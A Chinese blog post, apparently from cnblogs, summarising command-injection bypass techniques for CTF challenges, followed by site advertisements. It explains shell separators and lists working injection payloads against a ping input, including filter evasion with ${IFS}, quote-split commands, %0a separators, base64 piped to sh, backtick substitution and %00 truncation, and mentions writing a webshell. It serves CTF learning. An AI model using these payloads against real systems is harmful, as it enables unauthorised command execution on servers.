CTF中常见RCE命令执行绕过技巧
RCE命令总结
RCE基础知识点
rce分为远程执行ping,和远程代码执行eval。
漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。
LINUX系统的管道符:
1、” ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
WINDOWS系统的管道符:
1、” | “ :是直接后面的执行语句
2、” || “ :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3、” & “ :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4、” && “ :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
注:windows没有“;”
RCE的过滤
命令注入
直接输入127.0.0.1 & ls
ls就是列出当前目录下所有文件
然后发现php文件,执行127.0.0.1 & cat flag.php。然后查看源代码即可。
过滤cat
ca\t,ca''t,ca""t还是可以继续执行cat的功能。
例如
执行127.0.0.1 & ca\t flag.php
查看网页源代码即可。
cat的代替
过滤空格
⭐知识点:空格可以替换 <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
因为空格被过滤,所以
127.0.0.1&cat<flag.php
查看网页源代码就有答案了哈。
过滤运算符
运算符分号可以用 %0a,%0d,%0D%0A替代。
变量拼接
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
base64编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw
解码为flag.php
内敛绕过⭐
就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`
会抓取ls返回的所有文件的内容
00截断绕strpos函数
PHP5.2+可以用截断漏洞(%00)绕过strpos检验函数
RCE写入木马
命令执行写入一句话
代码执行写入一句话
__EOF__

本文链接:https://www.cnblogs.com/Y0uhe/p/15369989.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix